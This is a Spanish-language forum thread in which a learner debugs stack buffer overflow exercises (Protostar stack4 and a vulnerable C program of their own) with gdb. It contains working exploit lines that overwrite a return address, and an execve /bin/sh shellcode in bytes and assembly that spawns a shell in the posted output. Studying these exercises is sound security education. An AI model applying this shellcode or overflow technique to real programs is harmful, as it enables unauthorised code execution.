Mensajes

Debugeando un poco hay otra parte que no entiendo, la pila va creciendo hacia direcciones de memoria inferiores conforme se van definiendo las variables, por eso el ESP cada vez tiene un valor inferior.
El EIP y EBP siempre deberían ser zonas de memoria superiores al ESP pero gdb me muestra lo siguiente poniendo un breakpoint en    0x08048466 <+35>:   leave 

(gdb) info registers
esp            0xbffff6b0   0xbffff6b0
eip            0x8048466   0x8048466 <main+35>

0xbffff6b0 > 0x8048466 => ESP > EIP

El exploit creo que no funciona por esta razón, cuando gets rellena la variable buffer esta crece hacia direcciones de memoria superiores pero el EIP que es la dirección que nos interesa sobreescribir se encuentra por abajo, no llegando nunca a ella y no sobreescribiéndola nunca.

Si alguien pudiese aclararmelo se lo agradecería.

Compilando con la opción  -mpreferred-stack-boundary=2 parece que el prólogo es como a antaño:
gcc -fno-stack-protector -mpreferred-stack-boundary=2 -D_FORTIFY_SOURCE=0 -z norelro -z execstack stack4.c -o stack4
Dump of assembler code for function main:
   0x0804843d <+0>:   push   ebp
   0x0804843e <+1>:   mov    ebp,esp
   0x08048440 <+3>:   sub    esp,0x40
   0x08048443 <+6>:   lea    eax,[ebp-0x40]
   0x08048446 <+9>:   push   eax
   0x08048447 <+10>:   call   0x80482f0 <gets@plt>
   0x0804844c <+15>:   add    esp,0x4
   0x0804844f <+18>:   leave 
   0x08048450 <+19>:   ret   

De este modo no tengo problema, calculo el padding y resuelvo el wargame:
perl -e 'print "A"x68 . "\x2b\x84\x04\x08"'| ./stack4
code flow successfully changed

Pero me gustaría saber como hacerlo sin tener que añadir esa flag al compilar.

Gracias por responder aer0x, pero hay algunos puntos de tu explicación que no me quedan claros, no es el valor EIP el que se debe machacar para que la función retorne a una parte del código u otra?
El valor de ESP simplemente indica la cima de la pila, no?

En el post indicas que puedo ver algunas imágenes depurando código pero no aparecen, podrías volver a subirlas?

Te agradezco mucho que te tomes la molestia de responder a mis dudas y te ruego que me perdones si mis preguntas son algo estúpidas, tengo todos los conceptos pillados por los pelos.

Un saludo.

Hola, estoy intentando resolver los wargames de protostar:
https://exploit-exercises.com/protostar/stack4/

El problema reside en que intento sobreescribir el EIP con la dirección de memoria de la función win, pero antes debo calcular el padding a introducir:
python pattern.py create 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

Lo guardo en un fichero para utilizarlo desde gdb:
vi string
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae

Cargo el programa:
gdb stack4
(gdb) run < string
Starting program: /root/protostar/stack4 < string
Program received signal SIGSEGV, Segmentation fault.
0x0804846a in main ()
quit

Calculo el padding pero....:
python pattern.py offset 0x0804846a
hex pattern decoded as: j
ERROR: Invalid input offset.

Si traduzco el valor del EIP mediante la siguiente web:
http://www.rapidtables.com/convert/number/hex-to-ascii.htm
„j


También he intentado "brute-forcear" el padding del siguiente modo:
for i in $(seq 64 128); do echo -e "Padding: $i" && perl -e 'print "A"x'${i}' . "\x2b\x84\x04\x08"'| ./stack4 && echo -e "\n"; done

Mi sistema operativo es Debian(x86/32bits) y tengo deshabilitada la aleatorización de las direcciones de memoria:
cat /proc/sys/kernel/randomize_va_space
0

El binario fue compilado del siguiente modo:
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack stack4.c -o stack4

No entiendo porque el EIP no es sobreescrito con el valor correcto, cualquier pista/sugerencia será bienvenida.

Un saludo.

[-- Desensamblo la función para saber donde me interesa meter el breakpoint:]

Hola, estoy depurando un programilla escrito en C para aprender el funcionamiento básico de los buffers overflows, lo cargo en GDB, lo corro y consigo ejecutar la shellcode con el resultado esperado, en cambio si meto un brakpoint y voy instrucción a instrucción el resultado es diferente:

(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
   buff_a is stored at 0xbffff700.
   buff_b is stored at 0xbffff6e8.
   buff_c is stored at 0xbffff6c8.
process 4734 is executing new program: /bin/dash
$


Con breakpoint:
-- Desensamblo la función para saber donde me interesa meter el breakpoint:
(gdb) disassemble func
Dump of assembler code for function func:
   0x080484ac <+0>:    push   %ebp
   0x080484ad <+1>:    mov    %esp,%ebp
   0x080484af <+3>:    sub    $0x78,%esp
   0x080484b2 <+6>:    lea    -0x28(%ebp),%eax
   0x080484b5 <+9>:    mov    %eax,0x4(%esp)
   0x080484b9 <+13>:    movl   $0x8048620,(%esp)
   0x080484c0 <+20>:    call   0x8048360 <printf@plt>
   0x080484c5 <+25>:    lea    -0x40(%ebp),%eax
   0x080484c8 <+28>:    mov    %eax,0x4(%esp)
   0x080484cc <+32>:    movl   $0x804863c,(%esp)
   0x080484d3 <+39>:    call   0x8048360 <printf@plt>
   0x080484d8 <+44>:    lea    -0x60(%ebp),%eax
   0x080484db <+47>:    mov    %eax,0x4(%esp)
   0x080484df <+51>:    movl   $0x8048658,(%esp)
   0x080484e6 <+58>:    call   0x8048360 <printf@plt>
   0x080484eb <+63>:    movl   $0x20,0x8(%esp)
   0x080484f3 <+71>:    mov    0x8(%ebp),%eax
   0x080484f6 <+74>:    mov    %eax,0x4(%esp)
   0x080484fa <+78>:    lea    -0x60(%ebp),%eax
   0x080484fd <+81>:    mov    %eax,(%esp)
   0x08048500 <+84>:    call   0x80483b0 <strncpy@plt>
   0x08048505 <+89>:    movl   $0x17,0x8(%esp)
   0x0804850d <+97>:    mov    0xc(%ebp),%eax
   0x08048510 <+100>:    mov    %eax,0x4(%esp)
   0x08048514 <+104>:    lea    -0x40(%ebp),%eax
   0x08048517 <+107>:    mov    %eax,(%esp)
   0x0804851a <+110>:    call   0x80483b0 <strncpy@plt>
   0x0804851f <+115>:    lea    -0x60(%ebp),%eax
   0x08048522 <+118>:    mov    %eax,0x4(%esp)
   0x08048526 <+122>:    lea    -0x28(%ebp),%eax
   0x08048529 <+125>:    mov    %eax,(%esp)
   0x0804852c <+128>:    call   0x8048370 <strcpy@plt>
   0x08048531 <+133>:    leave
   0x08048532 <+134>:    ret   
End of assembler dump.

-- Meto el breakpoint:
(gdb) break *func+133
Breakpoint 1 at 0x8048531

-- Vuelvo a ejecutar el programa:
(gdb) run `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
Starting program: /home/kr0m/overrun3 `perl -e 'print "\x31\xc9\x31\xc0\x31\xd2\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" . "A"x25'` `perl -e 'print "AAAABBBBCCCC\xc8\xf6\xff\xbf"'`
   buff_a is stored at 0xbffff700.
   buff_b is stored at 0xbffff6e8.
   buff_c is stored at 0xbffff6c8.

Breakpoint 1, 0x08048531 in func ()

-- Compruebo que estoy ejecutando la instarucción donde metí el breakpoint:
(gdb) disassemble
Dump of assembler code for function func:
   0x080484ac <+0>:    push   %ebp
   0x080484ad <+1>:    mov    %esp,%ebp
   0x080484af <+3>:    sub    $0x78,%esp
   0x080484b2 <+6>:    lea    -0x28(%ebp),%eax
   0x080484b5 <+9>:    mov    %eax,0x4(%esp)
   0x080484b9 <+13>:    movl   $0x8048620,(%esp)
   0x080484c0 <+20>:    call   0x8048360 <printf@plt>
   0x080484c5 <+25>:    lea    -0x40(%ebp),%eax
   0x080484c8 <+28>:    mov    %eax,0x4(%esp)
   0x080484cc <+32>:    movl   $0x804863c,(%esp)
   0x080484d3 <+39>:    call   0x8048360 <printf@plt>
   0x080484d8 <+44>:    lea    -0x60(%ebp),%eax
   0x080484db <+47>:    mov    %eax,0x4(%esp)
   0x080484df <+51>:    movl   $0x8048658,(%esp)
   0x080484e6 <+58>:    call   0x8048360 <printf@plt>
   0x080484eb <+63>:    movl   $0x20,0x8(%esp)
   0x080484f3 <+71>:    mov    0x8(%ebp),%eax
   0x080484f6 <+74>:    mov    %eax,0x4(%esp)
   0x080484fa <+78>:    lea    -0x60(%ebp),%eax
   0x080484fd <+81>:    mov    %eax,(%esp)
   0x08048500 <+84>:    call   0x80483b0 <strncpy@plt>
   0x08048505 <+89>:    movl   $0x17,0x8(%esp)
   0x0804850d <+97>:    mov    0xc(%ebp),%eax
   0x08048510 <+100>:    mov    %eax,0x4(%esp)
   0x08048514 <+104>:    lea    -0x40(%ebp),%eax
   0x08048517 <+107>:    mov    %eax,(%esp)
   0x0804851a <+110>:    call   0x80483b0 <strncpy@plt>
   0x0804851f <+115>:    lea    -0x60(%ebp),%eax
   0x08048522 <+118>:    mov    %eax,0x4(%esp)
   0x08048526 <+122>:    lea    -0x28(%ebp),%eax
   0x08048529 <+125>:    mov    %eax,(%esp)
   0x0804852c <+128>:    call   0x8048370 <strcpy@plt>
=> 0x08048531 <+133>:    leave
   0x08048532 <+134>:    ret   
End of assembler dump.

-- Consulto el estado de los registros:
(gdb) info registers
eax            0xbffff700    -1073744128
ecx            0x0    0
edx            0x31    49
ebx            0xb7fd5ff4    -1208131596
esp            0xbffff6b0    0xbffff6b0
ebp            0xbffff728    0xbffff728
esi            0x0    0
edi            0x0    0
eip            0x8048531    0x8048531 <func+133>
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

-- Avanzo una instrucción:
(gdb) stepi
0x08048532 in func ()

-- Consulto el estado de los registros:
(gdb) info registers
eax            0xbffff700    -1073744128
ecx            0x0    0
edx            0x31    49
ebx            0xb7fd5ff4    -1208131596
esp            0xbffff72c    0xbffff72c
ebp            0x43434343    0x43434343
esi            0x0    0
edi            0x0    0
eip            0x8048532    0x8048532 <func+134>
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

-- Consulto por que parte del código voy:
(gdb) disassemble
Dump of assembler code for function func:
   0x080484ac <+0>:    push   %ebp
   0x080484ad <+1>:    mov    %esp,%ebp
   0x080484af <+3>:    sub    $0x78,%esp
   0x080484b2 <+6>:    lea    -0x28(%ebp),%eax
   0x080484b5 <+9>:    mov    %eax,0x4(%esp)
   0x080484b9 <+13>:    movl   $0x8048620,(%esp)
   0x080484c0 <+20>:    call   0x8048360 <printf@plt>
   0x080484c5 <+25>:    lea    -0x40(%ebp),%eax
   0x080484c8 <+28>:    mov    %eax,0x4(%esp)
   0x080484cc <+32>:    movl   $0x804863c,(%esp)
   0x080484d3 <+39>:    call   0x8048360 <printf@plt>
   0x080484d8 <+44>:    lea    -0x60(%ebp),%eax
   0x080484db <+47>:    mov    %eax,0x4(%esp)
   0x080484df <+51>:    movl   $0x8048658,(%esp)
   0x080484e6 <+58>:    call   0x8048360 <printf@plt>
   0x080484eb <+63>:    movl   $0x20,0x8(%esp)
   0x080484f3 <+71>:    mov    0x8(%ebp),%eax
   0x080484f6 <+74>:    mov    %eax,0x4(%esp)
   0x080484fa <+78>:    lea    -0x60(%ebp),%eax
   0x080484fd <+81>:    mov    %eax,(%esp)
   0x08048500 <+84>:    call   0x80483b0 <strncpy@plt>
   0x08048505 <+89>:    movl   $0x17,0x8(%esp)
   0x0804850d <+97>:    mov    0xc(%ebp),%eax
   0x08048510 <+100>:    mov    %eax,0x4(%esp)
   0x08048514 <+104>:    lea    -0x40(%ebp),%eax
   0x08048517 <+107>:    mov    %eax,(%esp)
   0x0804851a <+110>:    call   0x80483b0 <strncpy@plt>
   0x0804851f <+115>:    lea    -0x60(%ebp),%eax
   0x08048522 <+118>:    mov    %eax,0x4(%esp)
   0x08048526 <+122>:    lea    -0x28(%ebp),%eax
   0x08048529 <+125>:    mov    %eax,(%esp)
   0x0804852c <+128>:    call   0x8048370 <strcpy@plt>
   0x08048531 <+133>:    leave
=> 0x08048532 <+134>:    ret   
End of assembler dump.

-- Avanzo una instrucción:
(gdb) stepi
Cannot access memory at address 0x43434347

-- Consulto el estado de los registros:
(gdb) info registers
eax            0xbffff700    -1073744128
ecx            0x0    0
edx            0x31    49
ebx            0xb7fd5ff4    -1208131596
esp            0xbffff730    0xbffff730
ebp            0x43434343    0x43434343
esi            0x0    0
edi            0x0    0
eip            0xbffff6c8    0xbffff6c8
eflags         0x246    [ PF ZF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

Porque ejecutándolo sin breakpoints corre ok pero step a step no con la misma entrada? El debugger me cambia algo, posiciones de memoria, valores de registros....?

El código en C del programa es:
#include <stdio.h>
#include <string.h>

void func(char *str1, char *str2){
    char buff_a[32];
    char buff_b[24];
    char buff_c[32];
    printf("   buff_a is stored at %p.\n", &buff_a);
    printf("   buff_b is stored at %p.\n", &buff_b);
    printf("   buff_c is stored at %p.\n", &buff_c);
    strncpy(buff_c, str1, sizeof(buff_c));
    strncpy(buff_b, str2, sizeof(buff_b)-1);
    strcpy(buff_a, buff_c);
}

int main(int argc, char *argv[]){
    if ( argc < 3 ){
        printf("Uso: %s CADENA-1 CADENA-2\n", argv[0]);
        exit(0);
    }
   
    func(argv[1], argv[2]);
    return 0;
}

Un saludo.

Creo que lo tengo claro, cada programa es como si tuvises un "entorno de ejecución" por así decirlo, cada programa puede acceder a los registros de la cpu pero no se interfieren entre ellos.

Muchas gracias por la info, me ha sido de mucha ayuda, buscaré como controla la cpu el uso de los registros según el software que esté utilizándolos, si me queda claro responderé al post.
Sabes si debería de cerrar el post por haber sido resuelto? Es la primera vez que pregunto algo en este foro...

Estará intacto pero que valor tendrá? es decir si se ejecuta un software antes que el mío tendrá el valor que haya podido dejar este software anterior?

cpu2, creo que no me he explicado correctamente, si ejecuto ciertas intrucciones en ASM pero no toco el registro ecx para nada, que valor tiene este?

Gracias por la respuesta cpu2, creo que ya entiendo lo que está ocurriendo, el mul lo utiliza simplemente para que eax y edx valga 0 con una sola operación, he reescrito el código del siguiente modo:

xor ecx,ecx
;mul ecx
xor eax,eax
xor edx,edx
mov al,0xb
push ecx
push dword 0x68732f2f
push dword 0x6e69622f
mov ebx,esp
int 0x80

Como puedes ver eax y edx ahora valen 0, ejecuto mi programa con la shellcode del ASM anterior y funciona ok, pero tengo una duda mas, cual es el valor de ecx si no lo sobreescribo? tendrá el valor que dejó la ultima operación que utilizó dicho registro?

Un saludo